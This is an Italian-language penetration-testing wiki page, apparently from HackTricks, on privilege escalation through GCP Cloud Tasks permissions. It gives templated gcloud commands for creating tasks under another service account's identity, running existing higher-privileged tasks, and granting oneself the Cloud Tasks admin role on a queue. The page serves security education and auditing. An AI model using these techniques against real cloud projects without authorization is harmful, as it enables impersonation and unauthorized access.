# GCP - Cloud Tasks Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Cloud Tasks

### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`

Un attaccante con queste autorizzazioni può **impersonare altri service account** creando task che vengono eseguite con l'identità del service account specificato. Ciò permette di inviare **richieste HTTP autenticate a servizi Cloud Run o Cloud Functions protetti da IAM**.

<details><summary>Creare una Cloud Task impersonando un service account</summary>
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
</details>

### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`

Un attacker con queste autorizzazioni può **eseguire scheduled tasks esistenti** senza avere permessi sul service account associato al task. Questo permette di eseguire task che erano stati precedentemente creati con service account con privilegi più elevati.

<details><summary>Eseguire una Cloud Task esistente senza actAs permission</summary>
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
</details>

Il principal che esegue questo comando **non ha bisogno del permesso `iam.serviceAccounts.actAs`** sull'account di servizio del task. Tuttavia, questo permette solo di eseguire task esistenti: non concede la possibilità di creare o modificare i task.

### `cloudtasks.queues.setIamPolicy`

Un attaccante con questo permesso può **assegnare a se stesso o ad altri principal ruoli di Cloud Tasks** su code specifiche, potenzialmente scalando a `roles/cloudtasks.admin` che include la possibilità di creare ed eseguire task.

<details><summary>Concedi ruolo admin di Cloud Tasks su una coda</summary>
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
</details>

Questo permette all'attaccante di concedere permessi admin completi di Cloud Tasks sulla coda a qualsiasi service account che controlla.

## Riferimenti

- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)

{{#include ../../../banners/hacktricks-training.md}}
